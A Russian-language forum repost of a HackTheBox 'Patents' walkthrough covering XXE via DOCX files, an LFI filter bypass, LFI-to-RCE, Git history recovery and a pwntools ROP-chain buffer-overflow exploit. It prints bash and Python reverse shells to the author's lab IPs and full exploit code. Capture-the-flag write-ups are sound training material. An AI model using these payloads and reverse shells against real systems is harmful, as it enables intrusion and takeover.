HimeraSearchDB
Carding_EbayThief
triada
CrackerTuch
d-shop
HimeraSearchDB

НОВОСТИ HackTheBox. Прохождение Patents. XXE через файлы DOCX, LFI to RCE, GIT и ROP-chain

Bonnie
Оффлайн
Регистрация
12.04.17
Сообщения
19.095
Реакции
107
Репутация
0
mc3sxg5brnrlwn3qmajb37t8bhk.png


Продолжаю публикацию решений отправленных на дорешивание машин с площадки .

В данной статье эксплуатируем XXE в сервисе преобразования DOCX документов в PDF, получаем RCE через LFI, копаемся в истории GIT и восстанавливаем файлы, составляем ROP цепочки с помощью pwntools и находим спрятанный файл рута.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал и в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации .

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.173, который я добавляю в /etc/hosts.


10.10.10.173 patents.htb

Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.173 --rate=500

7vexjrz3cmdge_csif-0ruxstxy.png


Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.

nmap -A patents.htb -p22,80,8888

nkd8jml8rg_aau8otsuwznq-ab0.png


На хосте работают службы SSH и веб сервер Apache, при этом порт 8888 отведен для непонятной службы. Посмотрим веб.

q4balvxmcp7ac3m0qqge2qtwhcm.png


На сайте имеется форма загрузки DOCX документов.

m4xkiftz0h6oxfikutspnmyijdy.png


XXE DOCX


По утверждению, наш документ будет преобразован в PDF формат. Это наталкивает на мысль о XXE. Я взял пример .

egmofoq1l5r8ohdmorvwf83gsfe.png


Таким образом, в данном примере хост попытается загрузить xml документ с удаленного сервера. Загрузив этот документ, он прочитает локальный файл указанный в загруженном xml документе, закодирует его в base64 и обратится еще раз на наш сервер, передав закодированный файл в качестве параметра запроса. То есть, декодировав этот параметр мы получим файл с удаленной машины.

Но данную нагрузку следует размещать не по пути word/document.xml. Так как для работы с таким типом документов используется SDK OpenXML, то, как следует и , программное обеспечение на стороне сервера будет искать данные в word/document.xml, а в customXML/item1.xml. Поэтому нагрузку стоит размещать именно там.

Давайте создадим docx документ и разархивируем его как zip архив. После чего создадим директорию customXML и создадим в ней файл item1.xml. В него мы запишем код с изображения выше, изменив IP адрес на свой. И архивируем документ обратно.

s0j_gwgd0ehur9mboxtcwz8eudg.png


Теперь запустим локальный веб сервер.

python3 -m http.server 80

И в текущей директории создаем второй xml файл, указав в качестве желаемого файла /etc/passwd.

6y5sl7j1lcilayxrtbebn9z78tw.png


И загружаем документ на сервер. В окне с запущенным веб сервером увидим обратное подключение.

fjzatoxzmrvwpkccdyekqyig_ju.png


Декодируем base64 и получаем файл, который запросили.

efwytya0_ldxuvv1qd9qjphrib0.png


Таким образом мы можем читать файлы на сервере. Давайте прочитаем файлы конфигурации Apache. Для этого изменить dtd.xml и повторим загрузку документа.

um0qxqy-zxbvhbbe-dgz2_05msy.png


-xnfzhmk9bbhd8fjx5eko5vbaeg.png


Так мы узнаем директорию, в которой расположен сайт. Давайте попытаем прочитать файл конфигурации.

_bdd-vrylmvfa98iklgx3lnykzi.png


pq5lhtyyzajjcijlbaa0hubw5j4.png


И в комментарии сказано, что файл был переименован из-за уязвимости. Мы конечно обратимся к нему .

hqwdhjf6zhjdaehc2zn6ic5p3hu.png


Обратившись к данной страницы и передав в качестве параметра id путь ../../../../../etc/passwd, из нашей строки будут удалены все вхождения “../”. Давайте каждую строку “../” заменим на “..././”, так при удалении последовательности, все равно останется “../”.

fra3pugykwho9xrl9xcklono1zg.png


И мы находим LFI.

Entry Point


Давайте попробуем получить из этого RCE. Скажу честно — это было сложно. Дело в том, что отправляя подобный документ, мы не получали предложение загрузить PDF. То есть был задействован дескриптор 2 (для вывода диагностических и отладочных сообщений в текстовом виде). А к нему мы можем обратиться. Давайте закодируем реверс шелл в base64:

/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.211/4321 0>&1;'

L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjExLzQzMjEgMD4mMTsn

Мы будем декодировать его и передавать в функцию system в php. Давайте передадим код в качестве заголовка HTTP при загрузке файла.

curl -F "[email protected]" -F 'submit=Generate PDF' --referer ' '

Запустим netcat.

nc -lvp 4321

И теперь обратимся ко второму дескриптору.

curl

Получаем бэкконнект.

ROOT 1


Загрузим скрипт перечисления системы и внимательно проанализируем вывод. Так мы работаем в докер контейнере.

sahfxzrubyathg6rglkqhwf0cvo.png


Еще находим хеши. Но взломав, ни к чему не приходим.

bfccdyitk-1ksi7qmg5omq_lesw.png


dvssupnunggkpzz64gsfdxjveuw.png


Поэтому запускаем чтобы отследить запускаемые процессы. И находим запуск процесса от имени root, при котором пароль передается как переменная окружения.

wi2_yzfeqgi3eehjxylmqf7k8vm.png


И локально сменим пользователя, указав данный пароль.

iubiyu543de3olgssz1ry-djuf4.png


ROOT 2


Давайте посмотрим, что делает данный скрипт.

ckvkh-wezr0ofumiqzzqakn5wog.png


rgtfrsor5irhivfoifw-jr6c008.png


Получаем наводку на какой-то lfmserver, а также сохраняем логин и пароль. Поищем в системе все, что связано с lfm.

afhzea8jusqqac6irjgch6kyvjy.png


И находим в данной директории git репозиторий.

lnh4opchyrjvoc88mmg8kiwe7_y.png


Давайте поработаем с данным репозиторием.

gqbygeqd2j4xoshvorswvluxkno.png


Посмотрим историю изменений.

t7rorjk0v42cfsjtphjd9uc1fs0.png


Посмотрим историю изменений. Так видим что в предпоследнем коммите были добавлены исполняемый файл и описание, а в последнем — они уже удалены. Давайте откатимся до удаления файлов.

git revert 7c6609240f414a2cb8af00f75fdc7cfbf04755f5

И у нас в директории появились исполняемый файл и описание.

gawc4s_vovqdv6zz91jdrdbicfk.png


y5nsgibu66e8a0_g_34mde9b2ao.png


Тут я уже хотел приступить к реверсу файла, но — у нас есть git проекта! Я нашел коммит, где упоминались исходные коды.

7mxrkibt8ixidkd4tir6ksasywk.png


И давайте восстановим файлы.

git checkout 0ac7c940010ebb22f7fbedb67ecdf67540728123

После чего скачиваем интересующие исходные коды, саму программу и библиотеки на локальную машину.

ROP


Нам нужно попытаться найти и эксплуатировать уязвимость в программе, в помощь есть исходные коды. Проверим защиту в бинарном файле.

pqfjbdyozi1qaxhxeauf1_hfcca.png


То есть канарейка и PIE отсутствуют, но стек не исполняемый. Откроем бинарный файл в любом удобном для вас дизассемблере с декомпилятором (я использую IDA Pro 7.2 ) и сопоставим декомпилированный код с исходными кодами из репозитория.

tzrcued2khgzxq9jmhziq7vsfl4.png


Для подключения к серверу и используем данные из файла checker.py, а также учетные данные.

xh7baayunbtjue28qyfleddzqxc.png


-rrpmoh0l0-hginwoubihqb3a_g.png


Давайте напишем шаблон эксплоита.

#!/usr/bin/python3

from pwn import *

context(os="linux", arch="amd64")
HOST = "127.0.0.1"
PORT = 8888
username = "lfmserver_user"
password = "!gby0l0r0ck$$!"

Давайте теперь определимся с запросом. Запустим приложение.

wxxjiuq1vfqmwzgrshyjzlmzzou.png


Необходимо отправлять путь к файлу и хеш его содержимого. Для примера я взял /etc/hosts.

p03kekiuesrd9mc2at4t_swcce0.png


Добавим к шаблону следующий код.

INPUTREQ = "CHECK /{} LFM\r\nUser={}\r\nPassword={}\r\n\r\n{}\n"
file = "/etc/hosts"
md5sum = "7d8fc74dc6cc8517a81a5b00b8b9ec32"
send_ = INPUTREQ.format(file,username, password, md5sum)

r = remote(HOST, PORT)
r.sendline(send_.encode())

r.interactive()

Теперь выполним и получим ошибку 404.

ejndb6z2tpkgvajgiq3akvwsbjg.png


Посмотрим log файл.

qyd6gftg9f6m3ce87f9acdpsodc.png


Понятно где приложение ищет файл, давайте поиграем с путями, и укажем такой file.

file = "../../../../../etc/hosts"

Выполним код и не увидим никаких ошибок.

pxspo-1bkqx14dpydxmj11odvyo.png


id8x7zspwbcbv1u9qmx-ccjhiis.png


Но в случае urlencode, получаем ответ с кодом 200 от сервера!

file = "%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fhosts"

uhpts6ydsvnhutaadndkfzt_ejy.png


Отлично, давайте вернем к дизассемблеру. Найдем среди строк (Shift+F12) удачный ответ сервера. И посмотрим, где к ней происходит обращение (X).

ckefsoopnkpezgsq6cdlguv7jh8.png


И переходим к первой функции, где в самом начале происходит проверка учетных данных.

8v6yjgpj94ih9fln0dmhbl3_zas.png


Давайте переимеенуем строки-переменные в окне дизассемблера, чтобы в декомпиляторе было понятнее.

dzutvxrxvyv4tdq_zgldkiv9xqw.png


И разбирая код в строках 18-24, пониманием следующее: часть пользовательского ввода попадает в функцию sub_402DB9, где происходит преобразование строки в переменную name, которая потом попадает в функцию access, и в случае отрицательного результат, происходит вывод сообщения 404. Таким образом, в переменной name будет расположен путь к файлу. Так как запрос обрабатывался даже в кодировке urlencode, то данная функция скорее всего нужна для декодирования.

moebwjpolutcowo7qxeyi15dj-k.png


Но дело в том, что переменная name, куда происходит перенос данный, ограниченного размера.

u_jzhtdqgp1vgp3qyuguunuxl_i.png


Таким образом, для переполнения буфера нам необходимо передать 0xA0=160 байт. Давайте допишем в код функцию дополнения до 160 байт и кодирования пути к файлу. Так как от содержимого файла вычисляется хеш, то необходимо не нарушать целостность пути к файлу, то есть после основного пути добавить 0x00 байт.

Но дело в том, что нам нужно знать хеш от какого-либо файла на сервере, который будет доступен всегда и никогда не изменится. К примеру /proc/sys/kernel/randomize_va_space, а как мы помним из вывода linPEAS, ASLR активирован, то есть мы знаем хеш.

tzdkj_hdn9owhtmod5ekklqior4.png


Тогда изменим код.

#!/usr/bin/python3
from pwn import *

def append_and_encode(file, rop=b""):
ret = b""
path = (file + b"\x00").ljust(160, b"A") + rop
for i in path:
ret += b"%" + hex(i)[2:].rjust(2,"0").encode()
return ret

context(os="linux", arch="amd64", log_level="error")

HOST = "127.0.0.1"
PORT = 8888
INPUTREQ = b"CHECK /{1} LFM\r\nUser=lfmserver_user\r\nPassword=!gby0l0r0ck$$!\r\n\r\n{2}\n"
md5sum = b"26ab0db90d72e28ad0ba1e22ee510510"

payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space")
send_= INPUTREQ.replace(b"{1}", payload).replace(b"{2}", md5sum)
r = remote(HOST, PORT)
r.sendline(send_)
r.interactive()

Это успешно работает!

k94f5vkgarkqukz9vhjiprkt1yo.png


Теперь давайте используем утечку памяти и определим адрес, по которому загружена библиотека libc. Для этого мы получим адрес функции write в загруженной библиотеке libc.

binary = ELF("./lfmserver")
libc = ELF("./libc6.so")

rop_binary = ROP(binary)
rop_binary.write(0x6, binary.got['dup2'])
rop = flat(rop_binary.build())

payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space", rop)

f05hnlmsa7slih0sdwajq5kathy.png


Теперь выделим адрес функции dup2 (первые 8 байт). Вычтем из него адрес функции dup2 в не загруженной библиотеке. Так мы найдем базовый адрес libc.

print(f"[*] Payload sent")

recv_ = r.recvall().split(b'\r')
leak = u64(recv_[-1][:8])
print(f"[*] Leak address: {hex(leak)}")
libc.address = leak - libc.symbols['dup2']
print(f"[+] Libc base: {hex(libc.address)}")

xft0x3qwddfzdrfclwkj578gzpk.png


Теперь найдем адрес строки /bin/sh.

shell_address = next(libc.search(b"/bin/sh\x00"))

Осталось собрать ROP, в котором будет перенаправление стандартных дескрипторов ввода/вывода (0,1,2) в дескриптор, зарегистрированный в программе (возьмем 6). После чего произойдет вызов функции system, куда мы передадим адрес строки /bin/sh.

rop_libc = ROP(libc)
rop_libc.dup2(6,0)
rop_libc.dup2(6,1)
rop_libc.dup2(6,2)
rop_libc.system(shell_address)
rop = flat(rop_libc.build())

payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space", rop)
send_ = INPUTREQ.replace(b"{1}", payload).replace(b"{2}", md5sum)
r = remote(HOST, PORT)
r.sendline(send_)

context.log_level='info'
r.recv()
r.sendline(b"id")

4afycq7-ht7dkktpmeddwci4tqa.png


Отлично! Получаем шелл от рута. Но вот он быстро умирает. Запустим листенер (nc -lvp 8765) и кинем бэкконнект шелл.

r.sendline(b'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.66",8765));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'')

vjnhcisc1ra9vng8htw8n_2phwi.png


tjfflloqumm5mggkbrwlx2ofc6w.png


И мы имеем стабильный шелл. Полный код привожу картинкой ниже.

owekpiviv3pqxnxr-rpeqgzv6-a.png


Но вот прочитать флаг рута не можем…

wu0umgzshoqcoq65eolwojhv8fy.png


ROOT 3


Запустив linpeas и просмотрев вывод, находим интересные разделы, особенно /dev/sda2.

wu0umgzshoqcoq65eolwojhv8fy.png


Давайте получим информацию о всех блочных устройствах.

ldox-vzassozbyooscg-issuoow.png


Таким образом мы имеем корневой раздел /dev/sda2. Создадим директорию и монтируем раздел.

u4ezc5zbakdqx11phjzr1cqp-yi.png


Вот и находим флаг рута.

Вы можете присоединиться к нам в . Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
 
Сверху Снизу